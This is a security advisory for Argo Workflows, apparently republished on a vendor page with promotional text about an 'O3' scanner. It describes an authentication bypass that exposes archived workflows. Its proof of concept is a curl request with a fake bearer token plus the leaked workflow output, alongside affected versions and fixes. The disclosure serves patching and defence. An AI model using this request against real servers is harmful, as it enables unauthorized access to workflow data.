GHSA-h36c-m3rf-34h9
Access to Archived Argo Workflows with Fake Token in `client` mode
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/argoproj/argo-workflows/v3🐹github.com/argoproj/argo-workflows/v3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}
When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}
Details
No authentication is performed by the Server itself on client tokens1. Authentication & authorization is instead delegated to the k8s API server.
However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods.
In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token.
PoC
Configuration
Controller ConfigMap:
config: |
persistence:
archive: true
postgresql:
database: argoworkflows
host: db-host
passwordSecret:
key: postgresPassword
name: argo-wf-postgres-credentials
port: 5432
tableName: argo_workflows
userNameSecret:
key: username
name: argo-wf-postgres-credentials
Server: --auth-mode=client
Reproduction
Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.
For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):
curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g
<details><summary>Results in a returned workflow:</summary>
* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:8000...
* Connected to localhost (::1) port 8000
> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.7.1
> Accept: */*
> Authorization: Bearer thisisatest
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: application/json
< Grpc-Metadata-Content-Type: application/grpc
< X-Ratelimit-Limit: 1000
< X-Ratelimit-Remaining: 999
< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC
< Date: Mon, 19 Aug 2024 20:44:26 GMT
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{
"metadata": {
"name": "hello-world-7tv5g",
"generateName": "hello-world-",
"namespace": "argo",
"uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",
"resourceVersion": "9982",
"generation": 3,
"creationTimestamp": "2024-08-13T23:59:20Z",
"labels": {
"workflows.argoproj.io/archive-strategy": "false",
"workflows.argoproj.io/completed": "true",
"workflows.argoproj.io/phase": "Succeeded",
"workflows.argoproj.io/workflow-archiving-status": "Persisted"
},
"annotations": {
"workflows.argoproj.io/description": "This is a simple hello world example.\n",
"workflows.argoproj.io/pod-name-format": "v2"
},
"managedFields": [
{
"manager": "argo",
"operation": "Update",
"apiVersion": "argoproj.io/v1alpha1",
"time": "2024-08-13T23:59:20Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:metadata": {
"f:annotations": {
".": {},
"f:workflows.argoproj.io/description": {}
},
"f:generateName": {},
"f:labels": {
".": {},
"f:workflows.argoproj.io/archive-strategy": {}
}
},
"f:spec": {}
}
},
{
"manager": "workflow-controller",
"operation": "Update",
"apiVersion": "argoproj.io/v1alpha1",
"time": "2024-08-13T23:59:30Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:metadata": {
"f:annotations": {
"f:workflows.argoproj.io/pod-name-format": {}
},
"f:labels": {
"f:workflows.argoproj.io/completed": {},
"f:workflows.argoproj.io/phase": {},
"f:workflows.argoproj.io/workflow-archiving-status": {}
}
},
"f:status": {}
}
}
]
},
"spec": {
"templates": [
{
"name": "hello-world",
"inputs": {},
"outputs": {},
"metadata": {},
"container": {
"name": "",
"image": "busybox",
"command": [
"echo"
],
"args": [
"hello world"
],
"resources": {}
}
}
],
"entrypoint": "hello-world",
"arguments": {},
"serviceAccountName": "argo-workflow"
},
"status": {
"phase": "Succeeded",
"startedAt": "2024-08-13T23:59:20Z",
"finishedAt": "2024-08-13T23:59:30Z",
"progress": "1/1",
"nodes": {
"hello-world-7tv5g": {
"id": "hello-world-7tv5g",
"name": "hello-world-7tv5g",
"displayName": "hello-world-7tv5g",
"type": "Pod",
"templateName": "hello-world",
"templateScope": "local/hello-world-7tv5g",
"phase": "Succeeded",
"startedAt": "2024-08-13T23:59:20Z",
"finishedAt": "2024-08-13T23:59:24Z",
"progress": "1/1",
"resourcesDuration": {
"cpu": 0,
"memory": 3
},
"outputs": {
"exitCode": "0"
},
"hostNodeName": "kind-control-plane"
}
},
"conditions": [
{
"type": "PodRunning",
"status": "False"
},
{
"type": "Completed",
"status": "True"
}
],
"resourcesDuration": {
"cpu": 0,
"memory": 3
},
"artifactRepositoryRef": {
"default": true,
"artifactRepository": {}
},
"artifactGCStatus": {
"notSpecified": true
},
"taskResultsCompletionStatus": {
"hello-world-7tv5g": true
}
}
}%
</details>
Impact
Users of the Server with --auth-mode=client and with persistence.archive: true are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.
Users of the Server with --auth-mode=sso and with persistence.archive: true are vulnerable to users being able to access workflows they could not access before archiving.
Footnotes
-
ssotokens, on the other hand, are immediately "authorized". The naming in the codebase is a bit confusing; it would be more appropriate to say "authenticated" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, theclienttokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously forclienttokens via the k8s API server. ↩
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/argoproj/argo-workflows/v3 | ≥ 3.5.7&&< 3.5.13 | 3.5.13 |
| 🐹Go | github.com/argoproj/argo-workflows/v3 | ≥ 3.6.0&&< 3.6.2 | 3.6.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v3. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/argoproj/argo-workflows/v3 to 3.5.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h36c-m3rf-34h9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h36c-m3rf-34h9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h36c-m3rf-34h9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h36c-m3rf-34h9 in your dependencies?
O3 detects GHSA-h36c-m3rf-34h9 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.